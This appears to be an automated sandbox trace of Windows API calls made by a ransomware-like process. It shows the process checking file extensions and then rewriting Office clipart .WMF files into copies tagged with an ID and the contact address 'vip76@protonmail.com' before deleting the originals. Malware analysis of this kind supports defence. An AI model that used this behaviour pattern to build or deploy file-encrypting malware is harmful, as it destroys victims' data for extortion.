	[0083.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0083.572] lstrlenW (lpString=".jpg") returned 4
	[0083.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0083.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0083.572] lstrlenW (lpString=".doc") returned 4
	[0083.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.573] lstrlenW (lpString=".docx") returned 5
	[0083.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.573] lstrlenW (lpString=".pdf") returned 4
	[0083.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.573] lstrlenW (lpString=".xls") returned 4
	[0083.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.573] lstrlenW (lpString=".xlsx") returned 5
	[0083.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.573] lstrlenW (lpString=".ppt") returned 4
	[0083.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0083.573] lstrlenW (lpString=".zip") returned 4
	[0083.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.573] lstrlenW (lpString=".rar") returned 4
	[0083.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.573] lstrlenW (lpString=".bz2") returned 4
	[0083.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.573] lstrlenW (lpString=".7z") returned 3
	[0083.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0083.573] lstrlenW (lpString=".dbf") returned 4
	[0083.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0083.573] lstrlenW (lpString=".1cd") returned 4
	[0083.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0083.573] lstrlenW (lpString=".jpg") returned 4
	[0083.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.574] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.574] lstrlenW (lpString="DD00407_.WMF") returned 12
	[0083.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.576] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=7828) returned 1
	[0083.576] CloseHandle (hObject=0x38c) returned 1
	[0083.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x220
	[0083.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.576] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.576] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.577] GetLastError () returned 0x0
	[0083.577] ReadFile (in: hFile=0x38c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1e94, lpOverlapped=0x0) returned 1
	[0083.586] WriteFile (in: hFile=0x384, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x1ea0, lpOverlapped=0x0) returned 1
	[0083.587] ReadFile (in: hFile=0x38c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.587] WriteFile (in: hFile=0x384, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.587] SetEndOfFile (hFile=0x384) returned 1
	[0083.587] CloseHandle (hObject=0x384) returned 1
	[0083.587] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.587] SetEndOfFile (hFile=0x38c) returned 1
	[0083.588] CloseHandle (hObject=0x38c) returned 1
	[0083.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 1
	[0083.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0083.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0083.589] lstrlenW (lpString=".doc") returned 4
	[0083.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.589] lstrlenW (lpString=".docx") returned 5
	[0083.589] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.589] lstrlenW (lpString=".pdf") returned 4
	[0083.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.589] lstrlenW (lpString=".xls") returned 4
	[0083.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.589] lstrlenW (lpString=".xlsx") returned 5
	[0083.589] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.589] lstrlenW (lpString=".ppt") returned 4
	[0083.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0083.589] lstrlenW (lpString=".zip") returned 4
	[0083.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.589] lstrlenW (lpString=".rar") returned 4
	[0083.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.589] lstrlenW (lpString=".bz2") returned 4
	[0083.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.589] lstrlenW (lpString=".7z") returned 3
	[0083.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0083.589] lstrlenW (lpString=".dbf") returned 4
	[0083.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0083.589] lstrlenW (lpString=".1cd") returned 4
	[0083.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0083.590] lstrlenW (lpString=".jpg") returned 4
	[0083.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0083.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0083.590] lstrlenW (lpString=".doc") returned 4
	[0083.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.590] lstrlenW (lpString=".docx") returned 5
	[0083.590] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.590] lstrlenW (lpString=".pdf") returned 4
	[0083.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.590] lstrlenW (lpString=".xls") returned 4
	[0083.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.590] lstrlenW (lpString=".xlsx") returned 5
	[0083.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.590] lstrlenW (lpString=".ppt") returned 4
	[0083.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0083.590] lstrlenW (lpString=".zip") returned 4
	[0083.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.590] lstrlenW (lpString=".rar") returned 4
	[0083.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.590] lstrlenW (lpString=".bz2") returned 4
	[0083.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.590] lstrlenW (lpString=".7z") returned 3
	[0083.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0083.590] lstrlenW (lpString=".dbf") returned 4
	[0083.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0083.590] lstrlenW (lpString=".1cd") returned 4
	[0083.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0083.591] lstrlenW (lpString=".jpg") returned 4
	[0083.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.591] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.591] lstrlenW (lpString="DD00414_.WMF") returned 12
	[0083.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.591] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=42908) returned 1
	[0083.591] CloseHandle (hObject=0x38c) returned 1
	[0083.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x220
	[0083.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.591] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.591] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.592] GetLastError () returned 0x0
	[0083.592] ReadFile (in: hFile=0x38c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xa79c, lpOverlapped=0x0) returned 1
	[0083.601] WriteFile (in: hFile=0x384, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xa7a0, lpOverlapped=0x0) returned 1
	[0083.602] ReadFile (in: hFile=0x38c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.602] WriteFile (in: hFile=0x384, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.602] SetEndOfFile (hFile=0x384) returned 1
	[0083.603] CloseHandle (hObject=0x384) returned 1
	[0083.603] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.603] SetEndOfFile (hFile=0x38c) returned 1
	[0083.604] CloseHandle (hObject=0x38c) returned 1
	[0083.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 1
	[0083.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0083.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0083.605] lstrlenW (lpString=".doc") returned 4
	[0083.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.605] lstrlenW (lpString=".docx") returned 5
	[0083.605] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.605] lstrlenW (lpString=".pdf") returned 4
	[0083.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.605] lstrlenW (lpString=".xls") returned 4
	[0083.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.605] lstrlenW (lpString=".xlsx") returned 5
	[0083.605] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.605] lstrlenW (lpString=".ppt") returned 4
	[0083.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0083.605] lstrlenW (lpString=".zip") returned 4
	[0083.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.605] lstrlenW (lpString=".rar") returned 4
	[0083.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.605] lstrlenW (lpString=".bz2") returned 4
	[0083.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.605] lstrlenW (lpString=".7z") returned 3
	[0083.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0083.605] lstrlenW (lpString=".dbf") returned 4
	[0083.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0083.605] lstrlenW (lpString=".1cd") returned 4
	[0083.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0083.605] lstrlenW (lpString=".jpg") returned 4
	[0083.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0083.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0083.606] lstrlenW (lpString=".doc") returned 4
	[0083.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.606] lstrlenW (lpString=".docx") returned 5
	[0083.606] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.606] lstrlenW (lpString=".pdf") returned 4
	[0083.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.606] lstrlenW (lpString=".xls") returned 4
	[0083.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.606] lstrlenW (lpString=".xlsx") returned 5
	[0083.606] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.606] lstrlenW (lpString=".ppt") returned 4
	[0083.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0083.606] lstrlenW (lpString=".zip") returned 4
	[0083.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.606] lstrlenW (lpString=".rar") returned 4
	[0083.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.606] lstrlenW (lpString=".bz2") returned 4
	[0083.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.606] lstrlenW (lpString=".7z") returned 3
	[0083.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0083.606] lstrlenW (lpString=".dbf") returned 4
	[0083.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0083.606] lstrlenW (lpString=".1cd") returned 4
	[0083.606] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68
	[0083.606] lstrlenW (lpString=".jpg") returned 4
	[0083.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.607] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.607] lstrlenW (lpString="DD00437_.WMF") returned 12
	[0083.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.608] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=1932) returned 1
	[0083.608] CloseHandle (hObject=0x384) returned 1
	[0083.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220
	[0083.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.612] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.612] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.615] GetLastError () returned 0x0
	[0083.615] ReadFile (in: hFile=0x38c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x78c, lpOverlapped=0x0) returned 1
	[0083.623] WriteFile (in: hFile=0x384, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x790, lpOverlapped=0x0) returned 1
	[0083.623] ReadFile (in: hFile=0x38c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.624] WriteFile (in: hFile=0x384, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.624] SetEndOfFile (hFile=0x384) returned 1
	[0083.624] CloseHandle (hObject=0x384) returned 1
	[0083.624] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.624] SetEndOfFile (hFile=0x38c) returned 1
	[0083.625] CloseHandle (hObject=0x38c) returned 1
	[0083.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 1
	[0083.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0083.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0083.625] lstrlenW (lpString=".doc") returned 4
	[0083.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.625] lstrlenW (lpString=".docx") returned 5
	[0083.625] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.625] lstrlenW (lpString=".pdf") returned 4
	[0083.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.625] lstrlenW (lpString=".xls") returned 4
	[0083.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.625] lstrlenW (lpString=".xlsx") returned 5
	[0083.625] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.626] lstrlenW (lpString=".ppt") returned 4
	[0083.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0083.626] lstrlenW (lpString=".zip") returned 4
	[0083.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.626] lstrlenW (lpString=".rar") returned 4
	[0083.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.626] lstrlenW (lpString=".bz2") returned 4
	[0083.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.626] lstrlenW (lpString=".7z") returned 3
	[0083.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0083.626] lstrlenW (lpString=".dbf") returned 4
	[0083.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68
	[0083.626] lstrlenW (lpString=".1cd") returned 4
	[0083.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
